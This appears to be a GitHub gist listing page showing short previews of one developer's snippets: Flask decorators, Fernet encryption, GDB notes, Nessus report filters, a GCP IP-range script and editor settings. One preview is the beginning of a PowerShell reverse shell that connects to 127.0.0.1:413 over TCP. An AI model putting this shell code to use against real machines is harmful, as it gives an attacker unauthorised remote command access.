Skip to content

Instantly share code, notes, and snippets.

@3lpsy
3lpsy / gist:8de3999d9e6d69c14464341102a92d2f
Last active November 17, 2017 21:19
Flask Decorators
## Thank you to #pocoo for the help!
### dashboard.py
from flask import redirect, url_for, render_template, make_response, Blueprint
from flasky.services.auth import Auth
from flasky.responses.invalid import unauthenticated
from flasky.middlewares.auth import is_authenticated, has_role
dashboard_blueprint = Blueprint('dashboard', __name__)
@3lpsy
3lpsy / gist:889839b56caf3bd187fe627e45ba44d1
Created December 5, 2017 18:13
Symmetric Decryption with
# Encrypt / Decrypt
import base64
import sys
from cryptography.fernet import Fernet
action = input('Encrypt or Decrypt [e/d]?')
if action.lower() == 'encrypt' or action.lower() == 'e':
secret = input('Secret Key: ')
secret_bytes = int(secret).to_bytes(32, byteorder=sys.byteorder)
@3lpsy
3lpsy / mini-reverse.ps1
Created December 25, 2017 05:39 — forked from staaldraad/mini-reverse.ps1
A reverse shell in Powershell
$socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 413);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$writer.Flush();
$read = $null;
@3lpsy
3lpsy / Python Age Exercise Answer
Created January 19, 2018 02:30
A sample answer to lab question
import os
import datetime
import sys
NOW = datetime.datetime.now()
NOW_YEAR = NOW.year
def is_valid_age(age):
return age > 0 and age < 100
@3lpsy
3lpsy / list_gcp_iprange.sh
Created February 20, 2018 19:43 — forked from n0531m/list_gcp_iprange.sh
Google Cloud Platform : ip address range
#!/bin/bash
# https://cloud.google.com/compute/docs/faq#ipranges
#nslookup -q=TXT _cloud-netblocks.googleusercontent.com 8.8.8.8
for LINE in `dig txt _cloud-netblocks.googleusercontent.com +short | tr " " "\n" | grep include | cut -f 2 -d :`
do
dig txt $LINE +short
done | tr " " "\n" | grep ip4 | cut -f 2 -d : | sort -n
@3lpsy
3lpsy / gdb_notes.md
Last active March 10, 2019 07:55
GDB Notes

Compile with symbols using -g option in gcc.

By default -g with no options will use the systems native debug symbols format. To specify gdb format, use -ggdb

gcc -ggdb -o main main.c

List Source

@3lpsy
3lpsy / filter_nessus_risks.py
Last active December 19, 2020 04:50
Filter out lower risk vulns in .nessus file
import sys
import argparse
from pathlib import Path
import lxml.etree as et
def run_filter(file, risks):
if len(sys.argv) < 1:
print("usage: [script].py nessusfile.nessus")
sys.exit(1)
import sys
from pathlib import Path
import lxml.etree as et
if len(sys.argv) < 1:
print("usage: [script].py nessusfile.nessus")
sys.exit(1)
file = sys.argv[1]
import sys
from pathlib import Path
import lxml.etree as et
from ipaddress import ip_address, IPv6Address, IPv4Address
if len(sys.argv) < 2:
print("usage: [script].py nessusfile.nessus")
sys.exit(1)
file = sys.argv[1]
@3lpsy
3lpsy / settings.json
Created July 15, 2019 07:19
VSCode User Settings
{
"terminal.external.linuxExec": "termite",
"editor.fontSize": 20,
"editor.fontFamily": "Fira Code",
"editor.fontLigatures": true,
"workbench.enableExperiments": false,
"telemetry.enableCrashReporter": false,
"telemetry.enableTelemetry": false,
"update.enableWindowsBackgroundUpdates": false,
"update.mode": "none",